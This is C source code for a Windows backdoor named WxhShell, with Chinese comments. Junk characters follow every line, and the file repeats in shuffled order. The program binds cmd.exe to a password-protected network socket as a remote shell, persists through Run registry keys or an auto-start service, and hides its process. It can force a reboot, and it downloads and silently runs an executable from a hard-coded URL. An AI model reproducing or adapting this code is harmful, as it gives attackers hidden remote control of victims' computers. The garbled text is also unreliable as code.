    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i2-]Xl  
    if(Boot(SHUTDOWN)) =4L%A=]`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `-Tb=o}.  
    else { MwL!2r  
    closesocket(wsh); EWXv3N2)  
    ExitThread(0); -=n!k^?lK  
    } e;LC\*dG  
    break; j3S!uA?  
    } tOZ-]>U  
  // 获取shell P)~olrf  
  case 's': { sn Ou  
    CmdShell(wsh); O&#>i]*V  
    closesocket(wsh); b?<@  
    ExitThread(0); f3s4aARP  
    break; jaIcIc=Pf  
  } aCi)icn$  
  // 退出 mR|']^!SE  
  case 'x': { "*S_wN%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &x4*YM h  
    CloseIt(wsh); $7-S\sDr  
    break; - /cf3  
    } fp`m>} -  
  // 离开 n?S)H=  
  case 'q': { R*lq.7   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K M[&WT  
    closesocket(wsh); G @]n(\7Y  
    WSACleanup(); 'R#MH  
    exit(1); ]ki) (Bb  
    break; <e wcWr  
        } xa 967Ki9"  
  } gt=@v())  
  } P,7R/-u5D  
jF(R;?,  
  // 提示信息 &V%faa1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2_Zn?#G8dl  
} z~i>GN_  
  }  .4Mc4'  
0LTsWCUQ6e  
  return; a=sd&](_  
} "|N0oEG&  
U.=TjCW  
// shell模块句柄 U} Pr1  
int CmdShell(SOCKET sock) B7S)L#l_\  
{ bU}l*"  
STARTUPINFO si; Moi>Dp  
ZeroMemory(&si,sizeof(si)); hVCxwTg^X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e?\hz\^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mZ0_^  
PROCESS_INFORMATION ProcessInfo; 8M]QDgd.  
char cmdline[]="cmd"; }0>\%C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vq\L9$WJ  
  return 0; ?5EMDawt  
} qZlL6  
L"uidd0(g  
// 自身启动模式 e5w0}/yW/  
int StartFromService(void) [Kb)Q{=)  
{ %/}d'WJR  
typedef struct q6o}2<T@  
{ m6@;!*Y  
  DWORD ExitStatus; \ >#y*W<  
  DWORD PebBaseAddress; Z4{N|h?  
  DWORD AffinityMask; ^e80S^  
  DWORD BasePriority; j#l1KO^y  
  ULONG UniqueProcessId; fF5\\_,  
  ULONG InheritedFromUniqueProcessId; "y ;0}9]n1  
}   PROCESS_BASIC_INFORMATION; jS|jPk|I.  
,o0[^-b<  
PROCNTQSIP NtQueryInformationProcess; s -F3(mc(  
-AQ 7Bd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M(ie1Ju  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G*-7}7OAs  
BDX>J3h  
  HANDLE             hProcess; UI wTf2B  
  PROCESS_BASIC_INFORMATION pbi; a!&m\+?  
|T*t3}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3g0v,7,Zv  
  if(NULL == hInst ) return 0; YdYaLTz  
qy-Hv6oof  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %4/X;w\3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g}BS:#$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); aq9Ej]1b  
kZcGe*  
  if (!NtQueryInformationProcess) return 0; N0YJ'.=8,  
awLSY:JI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GwG(?_I"  
  if(!hProcess) return 0; MEtKFC|p  
]XWtw21I1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D/z*F8'c  
K~qKr<)  
  CloseHandle(hProcess); w3Dqpo8E  
l HZ4N{n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -(E-yC u  
if(hProcess==NULL) return 0; Q.f D3g  
+X>Aj=#  
HMODULE hMod; o<g1;  
char procName[255]; Wa iM\h?=#  
unsigned long cbNeeded; ciN*gwI)  
ko~e*31_E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JNI&]3[C>?  
xfqU atC  
  CloseHandle(hProcess); zB6&),[,v  
9"dZ4{\!  
if(strstr(procName,"services")) return 1; // 以服务启动 //#]CsFiP  
!!])~+4pP  
  return 0; // 注册表启动 K48 QkZ_gY  
} h 3p~\%^  
W)`H(J  
// 主模块 jVSU]LU E  
int StartWxhshell(LPSTR lpCmdLine) h~#.s*0.F  
{ z~jk_|?|?  
  SOCKET wsl; &qm:36Y7Xg  
BOOL val=TRUE; Eq5X/Hx  
  int port=0; 0}\8,U  
  struct sockaddr_in door; k[1w] l8  
I$f'BAw  
  if(wscfg.ws_autoins) Install(); qITd.< k  
(>-(~7PR  
port=atoi(lpCmdLine); W"s)s  
D Z=OZ.v  
if(port<=0) port=wscfg.ws_port; Gx(%AB~9$  
?1H>k<Jp  
  WSADATA data; ASr3P5/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Fz]!2rt  
M:%Ll3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   XE;aJ'kt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rTeADu_vf  
  door.sin_family = AF_INET; "':SWKuMx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (U*Zz+ R   
  door.sin_port = htons(port); J*qo3aJjE  
/ KKA/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f'u[G?C  
closesocket(wsl); ^>h2.A J  
return 1; 21~~=+)X  
} .1[pO_  
I! ~3xZ  
  if(listen(wsl,2) == INVALID_SOCKET) { QaAMiCZFR  
closesocket(wsl); ^K!R4Y4t  
return 1; (FOJHjtkM  
} :;o?d&C  
  Wxhshell(wsl); tsf !Q  
  WSACleanup(); a&gf0g;@I  
>soSOJ[   
return 0; XQj+]-m  
{G _|gs  
} vtTXs]>  
D 6F /9|  
// 以NT服务方式启动 ,>I_2mc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a0cW=0l=  
{ iBqIV  
DWORD   status = 0; / gE9 W  
  DWORD   specificError = 0xfffffff;  w1t0X{  
9`DY6qfly  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [Ny'vAHOj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; pEiq;2{~Yn  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +fq;o8q  
  serviceStatus.dwWin32ExitCode     = 0; Y67i\U>?  
  serviceStatus.dwServiceSpecificExitCode = 0; %* @hS`  
  serviceStatus.dwCheckPoint       = 0; p;{w0uld"  
  serviceStatus.dwWaitHint       = 0; P/8z  
fU4{4M+9"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '59l.  
  if (hServiceStatusHandle==0) return; liVDBbS_A?  
l78 :.  
status = GetLastError(); A Zv| |8p  
  if (status!=NO_ERROR) "C9.pdP\8  
{ "'6R|<u=:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2$oGy  
    serviceStatus.dwCheckPoint       = 0; \MtdT[*  
    serviceStatus.dwWaitHint       = 0; ]w9syz8X  
    serviceStatus.dwWin32ExitCode     = status; s _`y"' ^  
    serviceStatus.dwServiceSpecificExitCode = specificError; KnYHjJa  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z';h5GNd>z  
    return; $ dHD  
  } w7_2JS  
,9/s`o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +F6R@@rWr  
  serviceStatus.dwCheckPoint       = 0; A*3R@G*h  
  serviceStatus.dwWaitHint       = 0; 8hvh xp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X[o"9O|<  
} ps=QVX)YP  
g?!;04  
// 处理NT服务事件,比如:启动、停止 7R".$ p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) C,3yu,'  
{ u9dL-Nr`  
switch(fdwControl) 0mR  
{ 2)>Ty4*  
case SERVICE_CONTROL_STOP: LY(h>`  
  serviceStatus.dwWin32ExitCode = 0; zy[|4Q(?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |c!lZo/  
  serviceStatus.dwCheckPoint   = 0; 7.xJ:r|  
  serviceStatus.dwWaitHint     = 0; R)qK{wq(1E  
  { pXHeUBY.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &E8fd/s= k  
  } Hxd ^oE  
  return; 8_ _C T  
case SERVICE_CONTROL_PAUSE: 0qD.OF)8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^->vUf7PX  
  break; !<MW*7P=  
case SERVICE_CONTROL_CONTINUE: =DXvt5G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; TZk.h8  
  break; n0kkUc-`   
case SERVICE_CONTROL_INTERROGATE: E{6X-C[)v  
  break; =u]FKY  
}; Nh\y@\F>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t8FgQ)tk  
} MFLw^10(T  
w'Q2Czso  
// 标准应用程序主函数 sR*JU%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {1`n^j(>  
{ ;={Z Bx  
^o*$+DbC  
// 获取操作系统版本 $~*d.  
OsIsNt=GetOsVer(); Mt`XHXTp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {p@uj_pS  
j\8'P9~%  
  // 从命令行安装 EM.rO/qcW  
  if(strpbrk(lpCmdLine,"iI")) Install(); uDi#a~m@  
%uLyL4*L(p  
  // 下载执行文件 ZI#Xh5  
if(wscfg.ws_downexe) { dbLxm!;(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I Ux svW+  
  WinExec(wscfg.ws_filenam,SW_HIDE); b(H) 8#C  
} q! U'DDEP  
7?JcB?G4  
if(!OsIsNt) { |1(9_=i'  
// 如果时win9x,隐藏进程并且设置为注册表启动 m =2e1wc  
HideProc(); LlG~aGhel  
StartWxhshell(lpCmdLine); 8?7:sfc  
} iP~dH/B|v  
else 15FGlO<<  
  if(StartFromService()) D?"TcA  
  // 以服务方式启动 }~28UXb23  
  StartServiceCtrlDispatcher(DispatchTable); >xE{& ):  
else /1q] D8  
  // 普通方式启动 mD p|EXN  
  StartWxhshell(lpCmdLine); Z;JZ<vEt92  
9#@CmiIhy  
return 0; vXM``|  
} 7eg//mL"6  
%U)M?UNjw  
i@ avm7  
L~FE;*>7  
=========================================== g#ONtY@*U  
F- n1J?4b  
AFSFXPl "  
?k:i3$  
QYL ';  
=`]yq;(C7j  
" cAc i2e  
~L'}!' &.  
#include <stdio.h> v+*l|!v  
#include <string.h> }`9}Q O  
#include <windows.h> r8~U@$BBK  
#include <winsock2.h> 2O5yS  
#include <winsvc.h> Aq{m42EAj  
#include <urlmon.h> P!";$]+  
_9Ig`?<>I  
#pragma comment (lib, "Ws2_32.lib") t%AW0#TZ  
#pragma comment (lib, "urlmon.lib") *7I=vro  
s"|N-A=cS  
#define MAX_USER   100 // 最大客户端连接数 +6{KrREX)  
#define BUF_SOCK   200 // sock buffer ngJES` 0d  
#define KEY_BUFF   255 // 输入 buffer oB$D&  
rkl/5z??  
#define REBOOT     0   // 重启 i4"xvL K4  
#define SHUTDOWN   1   // 关机 FB PT@`~v  
a|\_'#  
#define DEF_PORT   5000 // 监听端口 ~>)GW  
 iV71t17  
#define REG_LEN     16   // 注册表键长度 G?/1 F1  
#define SVC_LEN     80   // NT服务名长度 VMW ?[j  
7c6-S@L  
// 从dll定义API }r /L 9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T8FKa4ikn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'vTD7a^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gGU3e(!Uc  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kc8T@5+I0  
.-N9\GlJ,d  
// wxhshell配置信息 ;r[=q u\  
struct WSCFG { xTM&SVNbL_  
  int ws_port;         // 监听端口 [zR raG\  
  char ws_passstr[REG_LEN]; // 口令 o=_4v ^  
  int ws_autoins;       // 安装标记, 1=yes 0=no p$@=N6)I.k  
  char ws_regname[REG_LEN]; // 注册表键名 H2RNekck  
  char ws_svcname[REG_LEN]; // 服务名 ,Fg&<Be}Jx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0r=Lilu{q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s/Wg^(&M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r/L3j0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no DRV vW6s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zT~ GBC-IX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1)NX;CN  
(vjQF$Hp  
}; 7w{`f)~  
wy_TFV  
// default Wxhshell configuration M)EUR0>8  
struct WSCFG wscfg={DEF_PORT, J\   
    "xuhuanlingzhe", ( L RX  
    1, gpr];lgS  
    "Wxhshell", Hv0sl+  
    "Wxhshell", p9_45u`u2  
            "WxhShell Service", A Sy7")5  
    "Wrsky Windows CmdShell Service", zAB-kE\ )  
    "Please Input Your Password: ", [;5HI'px  
  1, qg6Hk:^r  
  "http://www.wrsky.com/wxhshell.exe", ,l7ty#j  
  "Wxhshell.exe" 6aQ{EO-]'=  
    }; jO:<"l^+u  
}+#ag:M  
// 消息定义模块 ,-DE;l^Q=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JEBo!9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; " Jnq~7]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ? *I9  
char *msg_ws_ext="\n\rExit."; W.:k E|a.g  
char *msg_ws_end="\n\rQuit."; %v~j10e  
char *msg_ws_boot="\n\rReboot..."; 7X}_yMxc  
char *msg_ws_poff="\n\rShutdown..."; (DK pJCx  
char *msg_ws_down="\n\rSave to "; J(/ eR,ak  
oRWsi/Zf  
char *msg_ws_err="\n\rErr!"; :@b>,{*4zS  
char *msg_ws_ok="\n\rOK!"; a9jY^E'|n  
GJy,)EO6{  
char ExeFile[MAX_PATH]; b<.+WkO  
int nUser = 0; 'Dk(jpYB  
HANDLE handles[MAX_USER]; !b _<_Y{l  
int OsIsNt; s[s6E`Q  
zLXtj-  
SERVICE_STATUS       serviceStatus; 7P|(j<JX6'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S8,+6+_7  
x|<|eRYK  
// 函数声明 &|E2L1  
int Install(void); {/0,lic  
int Uninstall(void); vW)GUAF[  
int DownloadFile(char *sURL, SOCKET wsh); p6}jCGJ  
int Boot(int flag); *%)L?*  
void HideProc(void); ,}FYY66K  
int GetOsVer(void); NKd@ Kp`,  
int Wxhshell(SOCKET wsl); 7 cIVK}&  
void TalkWithClient(void *cs); )s=z i"  
int CmdShell(SOCKET sock); tfv]AC7x  
int StartFromService(void); B4|% E$1+  
int StartWxhshell(LPSTR lpCmdLine); & bw1  
l1W5pmhK]'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V">Uh@[J_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QdW%5lM+  
bNaJ{Dm$R  
// 数据结构和表定义 4a2&kIn  
SERVICE_TABLE_ENTRY DispatchTable[] = KP<J~+_ik  
{ @Qc['V)  
{wscfg.ws_svcname, NTServiceMain}, ^jmnE.8R  
{NULL, NULL} / V {w<  
}; 0U/:Tpyr  
*iC t4J  
// 自我安装  B-&J]H  
int Install(void) Cq(Xa-  
{ Y6D =tb  
  char svExeFile[MAX_PATH]; <&L;9fr  
  HKEY key; =v;-{oN!  
  strcpy(svExeFile,ExeFile); ZA9']u%EJ  
W>DpDrO4ml  
// 如果是win9x系统,修改注册表设为自启动 +j@|D@z  
if(!OsIsNt) { M2zfN ru  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dU&.gFw1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >$Fc=~;Ba  
  RegCloseKey(key); )7i?8XiSZF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IYCKF/2o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -I_lCZ{Nbi  
  RegCloseKey(key); ,-b{oS~u  
  return 0; vy"Lsr3  
    } `jZX(H   
  } MZd\.]G@  
} *UyV@  
else { TM^1 {0;r5  
=AKW(v  
// 如果是NT以上系统,安装为系统服务 ^g[])2",  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BO9Z "|"  
if (schSCManager!=0) Zi[)(agAT  
{ _ma4  
  SC_HANDLE schService = CreateService Y?5yzD:  
  ( VUnEI oKM  
  schSCManager, I Mv^ 9T:  
  wscfg.ws_svcname, Qs?+vk?*h  
  wscfg.ws_svcdisp, Kq S2  
  SERVICE_ALL_ACCESS, h ?ia4t  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +I Ze`M%n  
  SERVICE_AUTO_START, -y\N9  
  SERVICE_ERROR_NORMAL, eLC&f}  
  svExeFile, <#s-hQ  
  NULL, O?2<rbx  
  NULL, n7MS{`  
  NULL, c'|MC[^A  
  NULL, MV/~Rmd.  
  NULL cUm9s>^)/  
  ); Fhsmpe~  
  if (schService!=0) yCkm|  
  { |v1 K@  
  CloseServiceHandle(schService); fN4p G*D  
  CloseServiceHandle(schSCManager); e N-{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vXnpx}B  
  strcat(svExeFile,wscfg.ws_svcname); {tT`It  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~NcJLU!au  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); NuooA  
  RegCloseKey(key); c df ll+  
  return 0; xBZ9|2Y s  
    } kCC9U_dj,  
  } v|/3Mi9mz  
  CloseServiceHandle(schSCManager); kCwTv:)  
} EIYM0vls(  
} U.)G #B  
!}P FiT^  
return 1; GY",AL8f  
} kIfb!  
\G=E%aK  
// 自我卸载 c==Oio("  
int Uninstall(void) *3ne(c  
{ L|2COX  
  HKEY key; dikWk  
Vd/S81/  
if(!OsIsNt) { p;7 4 +q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kR6 t .  
  RegDeleteValue(key,wscfg.ws_regname); v\Wm[Ld  
  RegCloseKey(key); y[zA [H:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {4QOUqAu  
  RegDeleteValue(key,wscfg.ws_regname); <{U{pCT%  
  RegCloseKey(key); Fm;)7.% >  
  return 0; ?V{k\1A  
  } kdUGmR0d  
} hKTg~y^  
} >4ct[fW+  
else { Ds G *  
Me}TW!GC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eTF8B<?  
if (schSCManager!=0) PD}R7[".>  
{ _RW[]MN3*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); psZeu*/r  
  if (schService!=0) bF KP V%`  
  { jccW8g~ ~  
  if(DeleteService(schService)!=0) { +_g T|vlU  
  CloseServiceHandle(schService); jSFN/C.9h  
  CloseServiceHandle(schSCManager); )T64(_TE  
  return 0; da2[   
  } ILi5WuOYX  
  CloseServiceHandle(schService); 0`!Q-G7  
  } baNfS  
  CloseServiceHandle(schSCManager); ZW?7g+P  
} UTTC:=F+  
} FqTkUWd,#  
Wv0'?NL.  
return 1; SznE:+  
} |wJZU  
YF -w=Y6  
// 从指定url下载文件 HLe^|  
int DownloadFile(char *sURL, SOCKET wsh) $CmX &%L=  
{ vaj66nV  
  HRESULT hr; IPO[J^#Me  
char seps[]= "/";  4 Z}bw#  
char *token; VDTY<= Q  
char *file; hf<$vRti>  
char myURL[MAX_PATH]; UPKi/)C;  
char myFILE[MAX_PATH]; 7rSUSra  
(oXN>^-D  
strcpy(myURL,sURL); VWshFI  
  token=strtok(myURL,seps); DVhTb  
  while(token!=NULL) 1qC:3 ;P  
  { %]ayW$4  
    file=token; ,z1!~gIal  
  token=strtok(NULL,seps); ,w%oSlOu  
  } z9ShP&^4[  
8sIrG  
GetCurrentDirectory(MAX_PATH,myFILE); B"PHJj  
strcat(myFILE, "\\");  y"\,%.  
strcat(myFILE, file); w"v'dU^  
  send(wsh,myFILE,strlen(myFILE),0); p? ?/r  
send(wsh,"...",3,0); zcB 2[eaV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C|f7L>qe  
  if(hr==S_OK) "rGOw'!q>  
return 0; y<`?@(0$  
else q.MVF]  
return 1; xD  
nuQ6X5>.=  
} $G_Q`w=jM  
,Us2UEWNv  
// 系统电源模块 g`OOVaB  
int Boot(int flag) -(w~LT$ "  
{ zw: C*sY  
  HANDLE hToken; z"K( bw6  
  TOKEN_PRIVILEGES tkp; q{GSsDo-:V  
p%"yBpSK  
  if(OsIsNt) { b;L>%;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }E5#X R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ay(!H~q_U  
    tkp.PrivilegeCount = 1; )E:,V~< 8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Iz )hz9k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P/pjy  
if(flag==REBOOT) { y5/6nvH_6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6!B^xm.R@  
  return 0; (kC} ,}  
} tQ~<i %;  
else { ~g1, !Wl  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X B*}P  
  return 0; m*!f%}T  
} 4C1FPrh  
  } 14D 7U/zer  
  else { *w/WHQ`xI  
if(flag==REBOOT) { /u)Rppu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :B=8_M  
  return 0; NGD*ce"w  
} 0HR|aqPo  
else { ck+b/.gw`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qon{ g  
  return 0; tKZ&1E  
} `\jTpDV_W  
} h.V]fS  
YN@6}B#1  
return 1; :Sc8PLT  
} %)axGbZG;  
OB6J.dF[%  
// win9x进程隐藏模块 G*\abL  
void HideProc(void) ZCQ< %f  
{ 90s;/y(  
T|@#w%c''  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Cqgk  
  if ( hKernel != NULL ) %f(S'<DhC  
  { JzMZB"Z?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pDq#8*q+v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); YZGS-+  
    FreeLibrary(hKernel); w(/DTQc~d  
  } -@2'I++"@  
mP pvZ  
return; @H\pipT_b  
} H#L#2M%  
Iy S"  
// 获取操作系统版本 -|}%~0)/bH  
int GetOsVer(void) 0/\PZX+  
{ 't( }Rq@  
  OSVERSIONINFO winfo; UP;Q=t  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ivzAlwP  
  GetVersionEx(&winfo); v**z$5x9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kG1;]1tT#  
  return 1; [q-;/ed  
  else dTN$y\   
  return 0; *bA+]&dj\  
} s>|Z7[*  
0e+W/Tq  
// 客户端句柄模块 >5;N64]!)  
int Wxhshell(SOCKET wsl) Y{Da+  
{ e&QS#k  
  SOCKET wsh; /vjGjb=3U  
  struct sockaddr_in client; {'h_'Y`bOQ  
  DWORD myID; ;1W6"3t-Y  
$Z;BQJVH  
  while(nUser<MAX_USER) zF5q=9 4$  
{ \=!H2M  
  int nSize=sizeof(client); 5`{vE4A]q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7DtIVMiK  
  if(wsh==INVALID_SOCKET) return 1; <%z@  
1E8H%2$ V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S _!hsY  
if(handles[nUser]==0) }:`5,b%Y_  
  closesocket(wsh); V+lRi"m?|  
else 1^C|k(t  
  nUser++; _>Pk8~m  
  } Ly9Q}dL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jfUJ37zNZr  
:l+_ja&o  
  return 0; z%V*K  
} DVI7]+=nV  
ITyzs4"VV  
// 关闭 socket !?nu?  
void CloseIt(SOCKET wsh) g96T*T  
{ :peqr!I+K  
closesocket(wsh); naz:A  
nUser--; ^7uX$  
ExitThread(0); P,i"&9 8  
} G0}Dq M Ti  
eC~ jgB  
// 客户端请求句柄 U98_M)-%&  
void TalkWithClient(void *cs) ->\N_|_  
{ Ap%O~wA'  
fk>l{W}e)  
  SOCKET wsh=(SOCKET)cs; Z>F@n Tzb>  
  char pwd[SVC_LEN]; .o}%~g<d  
  char cmd[KEY_BUFF]; %[w Tz$S"  
char chr[1]; o{V#f_o  
int i,j; b M"fk&  
2MuO*.9D  
  while (nUser < MAX_USER) { ga-{!$b*  
tBseqS3<  
if(wscfg.ws_passstr) { a/~29gW8E\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uPkb, :6~Z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Gn59 yG!4  
  //ZeroMemory(pwd,KEY_BUFF); CtM'L   
      i=0; w NH9WG  
  while(i<SVC_LEN) { gN?0m4[$i  
lEHwZ<je  
  // 设置超时 >uTPjR[  
  fd_set FdRead; [Tb\woU  
  struct timeval TimeOut; 3jF|Ic  
  FD_ZERO(&FdRead); -#aZF2z   
  FD_SET(wsh,&FdRead); 'M8aW!~  
  TimeOut.tv_sec=8; O)uOUB  
  TimeOut.tv_usec=0; EJLQ&oH[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vU!8`x)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :.$"kXm^  
?; [ T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5`~mqqR5  
  pwd=chr[0]; ?E<c[*F05  
  if(chr[0]==0xd || chr[0]==0xa) { QH~Jy*\+PX  
  pwd=0; G>%AZr{M  
  break; ?*H9-2W@  
  } 3B{[%#vO  
  i++; ?,07;>&  
    } ]#zZWg zv  
e.l!3xY2'  
  // 如果是非法用户,关闭 socket L/?]^!.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3OP.12^  
} <Ct_d Cc  
 (#o t^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !v9lk9SV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )TU<:V  
h*Je35  
while(1) { tPU-1by$  
bLbR IY"l  
  ZeroMemory(cmd,KEY_BUFF); s<vs:jna  
t`5j4bdG  
      // 自动支持客户端 telnet标准   vXdZmYrC  
  j=0; X |b2c+I  
  while(j<KEY_BUFF) { Oz{%k#X-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qz+sT6js-  
  cmd[j]=chr[0]; jl}$HEI5m}  
  if(chr[0]==0xa || chr[0]==0xd) { d(7NO;S8  
  cmd[j]=0; /v#)f-N%zs  
  break; h^oH^moq<  
  } #. ct5  
  j++; }ptMjT{9  
    } .!RavEg+  
`~h4D(n`  
  // 下载文件 #`ls)-`7  
  if(strstr(cmd,"http://")) { _KN/@(+F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {.CMD9F[  
  if(DownloadFile(cmd,wsh)) [i7YVwG4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); uWjU OJEe  
  else  s;Y<BD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^.go O]  
  } _1|$P|$P.  
  else { WUEHB  
\Q&,ISO\  
    switch(cmd[0]) { nY_?Jq  
